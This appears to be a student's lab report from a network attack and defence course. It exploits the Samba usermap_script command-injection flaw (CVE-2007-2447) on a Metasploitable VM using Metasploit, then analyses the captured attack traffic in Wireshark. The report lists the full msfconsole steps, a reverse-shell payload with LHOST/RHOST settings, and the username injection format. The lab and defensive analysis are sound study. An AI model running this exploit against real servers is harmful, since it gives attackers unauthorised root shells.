20252905 2025-2026-2 《网络攻防实践》第七周作业

20252905 2025-2026-2 《网络攻防实践》第七周作业

实践内容

(1)使用Metasploit进行Linux远程渗透攻击

任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;

③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

④设置渗透攻击参数(RHOST,LHOST,TARGET等);

⑤执行渗透攻击;

⑥查看是否正确得到远程Shell,并查看获得的权限。

(2)实践作业:攻防对抗实践

攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

1.知识点梳理与总结

步骤 命令/操作 说明
①启动MSF msfconsole 启动Metasploit控制台界面
②搜索模块 search usermap_script 查找Samba漏洞利用模块
③使用模块 use exploit/multi/samba/usermap_script 加载渗透攻击模块
④查看配置 show options 显示需要设置的参数
⑤查看载荷 show payloads 显示可用的攻击载荷列表
⑥设置载荷 set PAYLOAD cmd/unix/reverse 设置反向连接Shell
⑦设置目标IP set RHOST 192.168.200.124 靶机IP地址
⑧设置本机IP set LHOST 192.168.200.4 攻击机IP地址
⑨执行攻击 exploit 或 run 发起渗透攻击
⑩获取Shell 成功后会显示 Command Shell Session 获得远程控制权

知识点 内容
漏洞名称 Samba "username map script" 命令执行漏洞
CVE编号 CVE-2007-2447
影响版本 Samba 3.0.20 ~ 3.0.25rc3
漏洞类型 命令注入(远程代码执行)
利用条件 启用非默认配置 username map script 选项
攻击向量 通过SMB协议,在用户名字段注入恶意命令
注入格式 username = "/=\nohup <恶意命令>"
无需认证 漏洞在身份验证前触发
原理简述 Samba将用户名传递给外部脚本时未过滤特殊字符,导致Shell命令注入

2.实验过程

任务0:准备工作

(1)查看Metasploitable的IP地址为192.168.200.123
image
(2)查看Kali 的IP地址为192.168.200.3
image
(3)检查kali能否ping通
image

任务1:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限

(1)启动Metasploit软件,使用msfconsole。这是要先启动metasploit的交互式控制台,渗透操作的前置步骤。
image
(2)使用exploit:exploit/multi/samba/usermap_script渗透攻击模块,输入命令use exploit/multi/samba/usermap_script和show payloads
加载了针对usermap_script漏洞的渗透攻击模块,并观察哪些载荷可以进行使用。
image
(3)选择攻击PAYLOAD为远程shell,输入set payload cmd/unix/reverse。这是一个反向shell操作,强制目标主机主动连接攻击者机器,可以绕过防火墙控制
image
(4)设置渗透攻击参数(RHOST,LHOST,TARGET等),将攻击机IP设置为192.168.200.123。分别设定攻击机和靶机地址,用于接受反向连接。
image
(5)开始执行渗透攻击,输入exploit,开始正式执行攻击,触发目标漏洞
image
(6)查看是否正确得到远程Shell,并查看获得的权限,输入whoami,查看当前权限
image

任务2:攻防对抗实践

攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。(2已完成)
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
(1)在实验1的过程中使用wireshark进行抓包,结果如图所示,在图中可查看到攻击者IP为192.168.200.3,靶机IP为192.168.200.123,使用了SMB协议的漏洞,完成了握手流程。
image
(2)通过找到对应端口追踪tcp流,发现了刚刚的攻击行为
image
(3)分析靶机回复信息,找到了返回的root,可以输入命令tcp contains "root"
image

3.学习中遇到的问题及解决

-问题1:开始执行攻击后,长时间没有得到应有的反应
image

解决方案:发现是没有设定反向shell过程中靶机的地址,导致长时间没反应。

-问题2:在寻找靶机和攻击机的whoami,root信息的时候,奇怪为什么直接筛选string信息找不到目标值

解决办法:直接搜索的内容是wireshark解析后的数据包解码字段,他们可能封装在不同的协议中,并不在直接索引的范围内;但是
如果追踪TCP流信息,即为将所有字节信息按传输顺序重组为完整数据流,这是更加清晰的可视化呈现效果。

3.学习感悟、思考等

本次实验通过Metasploit框架对Metasploitable2靶机中的Samba服务漏洞(CVE-2007-2447)进行了渗透攻击,成功获取了目标主机的远程Shell访问权限。实验过程完整展示了从信息探测、漏洞利用到权限获取的标准化渗透测试流程。核心操作包括:使用search usermap_script定位漏洞模块、配置RHOST和LHOST参数、选择cmd/unix/reverse反向连接载荷、执行exploit发起攻击。最终通过whoami命令确认获得了root权限,验证了漏洞利用的有效性。从防御视角看,该实验揭示了Samba服务配置不当(启用username map script)带来的严重安全风险,强调了服务最小化原则、及时补丁更新以及网络流量监控的重要性。通过Wireshark抓包分析,能够清晰定位攻击者的IP地址、攻击时间、注入的Shellcode特征(如nohup、反引号命令),以及成功后的命令行操作记录,为入侵检测规则的编写提供了依据。

参考资料

教学视频

posted @ 2026-04-22 16:15  Rainloop  阅读(8)  评论(0)    收藏  举报